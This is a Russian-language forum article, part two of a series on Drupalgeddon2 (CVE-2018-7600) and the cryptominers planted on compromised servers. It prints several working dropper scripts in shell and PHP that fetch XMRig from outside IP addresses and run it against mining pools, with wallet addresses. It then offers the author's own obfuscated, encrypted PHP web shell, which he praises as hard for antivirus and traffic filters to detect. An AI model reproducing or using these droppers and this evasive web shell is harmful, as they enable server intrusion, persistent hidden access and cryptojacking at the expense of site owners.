• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

Статья CVE-2018-7600 или майнер на серваке, исходники, аналитика, примеры ЧАСТЬ 2

woolf1514

woolf1514

Well-known member
06.03.2017
162
169
Погнали дальше!

Как же все монетезировались? Покопавшись на серваках я начал находить одни и те же файлы с новой датой, присмотрелся - МАЙНЕР, мать его за ногу.
Код:
SA -
udevd
x11_kenp0le
xm111
Все они XMRig или его форки -

Пробежимся по коду который их прогружает (все IP не пашут):
Код:
#!/bin/sh

U="http://185.35.138.138/..."
O="http://185.35.138.138/.c"

killall -9 udevd
kill -9 'ps auwx|grep udevd|grep -v systemd|grep -v grep|awk '{ print $2 }'' 2>/dev/null

for d in 'pwd' /tmp /var/tmp /dev/shm /invalid /root /var/run; do
cd $d 2>/dev/null
if [ "$?" = "0" ]; then
cp /bin/ls . 2>/dev/null
if [ "$?" = "0" ]; then
./ls >/dev/null
if [ "$?" = "0" ]; then
rm -rf ls
rm -rf udevd ... .c
if hash curl 2>/dev/null; then
curl -s -LO "$U"
curl -s -LO "$O"
else
wget -q "$U"
wget -q "$O"
fi
mv ... udevd
chmod +x udevd
./udevd -c .c
exit
fi
fi
fi
done

Башевский код, файл загружается или через веб шелл, ставятся права 777 и потом через system/exec или другие аналоги в php стартуется.
Он убивает конкурентов, ищет папку с записью для текущих прав, качает JSON настройку и сам майнер curl или wget, ставит права = PROFIT
Код:
mkdir /tmp/.x11_kenp0le/
curl http://5.2.74.245/sen -o /tmp/.x11_kenp0le/nttprd
chmod +x /tmp/.x11_kenp0le/nttprd
/tmp/.x11_kenp0le/nttprd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:80 -u 46x4MJbaGPkgvRDTFhn5T7EE6EzvkaDBChwLjhZDykEVcWZD98yS1etaqB9HPEg3vkbHMSv3SmJWYLUz
my1maYVeRZswomc -p x &>>/dev/null
Все так же как в предыдущем - но проще, использует только curl (а он не всегда есть), не качает JSON настроку, запускает с параметрами. Минус этой техники в ps aux светится, как Путин.
Код:
<?php

$windows_file='http://122.10.88.136/oop/consolehost.exe';
$linux_file='http://122.10.88.136/oop/sshd2';

#?1337=eval(file_get_contents('http://122.10.88.136/oop/id.txt'));
#?1337=file_put_contents('1.log',file_get_contents('http://122.10.88.136/oop/id.txt'));


$windows_write_path='c:\\windows\\tasks\\SA.exe';
$linux_write_path='/tmp/SA';


$windows_exec=$windows_write_path.' -o pool.supportxmr.com:5555 -u 4ANU1hzDSbxDZACVHHazniJuTECpwXFE3VEBtesdUTrD1KFLs68kxV3Zg5zCC9a38vYnwTzhrLbfrT9B
pL6apvdZ5aZBtcA -p x -k -B --donate-level=1';
$linux_exec=$linux_write_path.' -o pool.supportxmr.com:5555 -u 4ANU1hzDSbxDZACVHHazniJuTECpwXFE3VEBtesdUTrD1KFLs68kxV3Zg5zCC9a38vYnwTzhrLbfrT9B
pL6apvdZ5aZBtcA -p x -k -B --donate-level=1';

if(substr(PHP_OS,0,3)==='WIN'){
   print 'Run as Windows';
   print 'Download file';

   $data=file_get_contents($windows_file);
   file_put_contents($windows_write_path,$data);
   system($windows_exec);

}else{
   print 'Run as Linux';
   print 'Download file';

   $data=file_get_contents($linux_file);
   file_put_contents($linux_write_path,$data);
   system("chmod 777 $linux_write_path");
   system($linux_exec);
}
?>
Эта методика меня больше всего порадовала, не стали запариваться под башь, все сделали в пхп - удобно через веб шелл прогружать. И еще тут есть определение ОС, но параметры майнера задаются при запуска - плохо(но для себя, я его переделал - идеальным)
Код:
sh -c cd /tmp;wget -O xm111 http://193.201.224.233/xm111;chmod 777 xm111;wget -O config.json http://193.201.224.233/m.json;chmod 777 config.json;./xm111

Сам файл майнера, забыл скопировать, да и не было смысла, тот же риг. НО понравилась сама методика - запуск можно сделать без использования веб шелла - сразу через эксплойт Drupalgeddon2.
Качает в /tmp wget JSON файл настроек, потом качает майнер, ставит права и стартует.

Код:
$ ps- A

$ ps -A
PID TTY          TIME CMD
   1 ?        00:00:01 init
   2 ?        00:00:00 kthreadd
   3 ?        00:27:26 ksoftirqd/0
   5 ?        00:00:00 kworker/0:0H
   7 ?        03:03:46 rcu_sched
   8 ?        00:00:00 rcu_bh
   9 ?        00:00:01 migration/0
  10 ?        00:00:01 migration/1
  11 ?        00:13:48 ksoftirqd/1
  13 ?        00:00:00 kworker/1:0H
  14 ?        00:00:00 khelper
  15 ?        00:00:00 kdevtmpfs
  16 ?        00:00:00 netns
  19 ?        00:00:00 perf
  24 ?        00:00:00 xenwatch
  25 ?        00:00:00 xenbus
129 ?        00:00:07 khungtaskd
130 ?        00:00:00 writeback
132 ?        00:00:00 ksmd
133 ?        00:00:00 khugepaged
134 ?        00:00:00 crypto
135 ?        00:00:00 kintegrityd
136 ?        00:00:00 bioset
137 ?        00:00:00 kblockd
490 ?        00:00:00 md
620 ?        00:01:03 kswapd0
691 ?        00:00:00 fsnotify_mark
706 ?        00:00:00 kthrotld
757 ?        00:00:00 deferwq
1512 ?        00:12:07 jbd2/xvda1-8
1513 ?        00:00:00 ext4-rsv-conver
1546 ?        00:00:00 kworker/1:1
1555 ?        00:00:00 udevd
1694 ?        00:00:00 kpsmoused
1698 ?        00:00:00 udevd
1699 ?        00:00:00 udevd
1842 ?        00:00:28 jbd2/xvdf-8
1843 ?        00:00:00 ext4-rsv-conver
1873 ?        00:00:01 kauditd
1916 ?        00:00:00 ipv6_addrconf
2046 ?        00:00:15 dhclient
2087 ?        00:00:25 auditd
2105 ?        00:00:15 rsyslogd
2116 ?        00:36:46 irqbalance
2122 ?        02:20:50 rngd
2134 ?        00:00:00 dbus-daemon
2234 ?        00:00:00 sshd
2251 ?        00:01:50 ntpd
2259 ?        00:00:00 kworker/0:1H
2271 ?        17:33:40 cfn-hup
2289 ?        00:14:38 sendmail
2297 ?        00:00:05 sendmail
2312 ?        00:01:45 crond
2322 ?        00:00:00 atd
2356 ttyS0    00:00:00 agetty
2357 tty1     00:00:00 mingetty
2362 tty2     00:00:00 mingetty
2364 tty3     00:00:00 mingetty
2366 tty4     00:00:00 mingetty
2368 tty5     00:00:00 mingetty
2370 tty6     00:00:00 mingetty
2380 ?        00:00:00 kworker/1:1H
4152 ?        00:00:00 kworker/0:1
10252 ?        00:05:49 kworker/0:2
15784 ?        00:03:42 kworker/1:2
17514 ?        00:55:11 httpd
20953 ?        00:00:05 httpd
21058 ?        00:00:00 sh <defunct>
21080 ?        1-15:13:05 udevd
23146 ?        22:02:28 nttprd
23497 ?        00:00:00 kworker/u30:1
27457 ?        00:00:00 kworker/u30:0
27880 ?        00:39:04 nttprd
27925 ?        00:00:10 httpd
27963 ?        00:00:07 httpd
27967 ?        00:00:10 httpd
28077 ?        00:00:00 ps

Это процессы на одном из серваков. Обратите внимание на udevd и nttprd - это сами майнеры, работа сутки.
Стало интересно сколько они денег подняли. Это кошелек одного из майнер ботов:
Общий рейт - 124740.0 H/s и падает, конкуренты душат и хостинги начали убивать нагрузки.
Средний расчет в месяц 5907$, но падает.

- Общий рейт - 37.27 KH/sec

ИТОГ - использование публичных эксплойтов для прогруза майнеров на серваки - дает НИЗКИЙ профит. Так что нет смысла запариваться.
Ну вот и все, дорогие друзья, я вспотел пока писал статью - потратил 6 часов на статью и 3 дня на аналитику, прогрузы, сборы баз и эксплойта.

exploit.in


Небольшое дополнение:

Немного поработав над примерами, я нашел наиболее оптимальное решение как удаленный веб шелл, оно лишено недостатков:
- шифрует и сжимает запросы - трафик не отфильтровать
- постоянно уникальный POST запрос - ав и не смогут отлавливать http запрос, как с оригинальным WSO
- маленький размер 300 байт
после моего крипта:
- размер 500 байт
- евал и его альтернатива обфусцированна
- базовые функции обфусцированны
- постоянная уникальность

По факту данный код сложно будет отследить и он очень удобен:
Код:
$z="%pass%";function x($t,$k){for($i=0;$i<strlen($t);)for($j=0;$j<strlen($k);$j++,$i++)$o.=$t{$i}^$k{$j};return $o;};$r=$_SERVER;$u=parse_url(@$r["HTTP_REFERER"]);parse_str($u["query"],$q);$k=current($q);$n=next($q);$p=$_POST;if(!isset($p[$k]))die;$o=$p[$k];@eval(@gzuncompress(@x(@base64_decode($o),$z.$n)));
Код:
$z='$z=*"*p*a"ss*;f*unc*ti*on* *x*($*t*,$*k){f*or($i=*0;$i*<st*rlen*($t*);)*fo*r($j*=0;$j*<strlen(*';
$z.='$k);$j++,$i+*+)*$o.*=$t{*$*i}*^$*k{$*j};*r*et*urn* *$o;*};*$r=$*_SE*R*VE*R*;$u*=*pa*r*se_*url*(@$r[*';
$z.='"HTT*P_*R*EF*E*R*ER"]);*p*a*r*se_s*tr(*$*u["qu*er*y"*],*$q)*;$k*=cu*rr*e*n*t(*$*q*);$n=*next($*q);$p';
$z.='*=$*_*PO*ST;if*(!iss*et($p*[*$k])*)die;$o*=*$*p[$k];@ev*al*(*@*gzu*n*co*mp*r*e*ss(*@x*(*@*b*ase64_*d';
$z.='*eco*de(*$o)*,$z.$n)))*;';
$v=$z;$f="s\x74r_\x72\x65\x70l\x61c\x65";$z=$f('*','',$v);$o="cre\x61\x74e_fun\x63\x74\x69on";$y=@$o('',$z);@$y();
Код:
/home/sunilcp1/public_html/sites/default/files/favicon_80bc78.ico
Дешифрованный код файла favicon_80bc78.ico на который ссылался include форум забраковал. По этому он в текстовике во вложении.

Всем спасибо, кто дочитал, тот большой молодец!
 

Вложения

GlowFisch

GlowFisch

Happy New Year
26.01.2019
75
70
А где ссылка на первую часть?
 
Мы в соцсетях: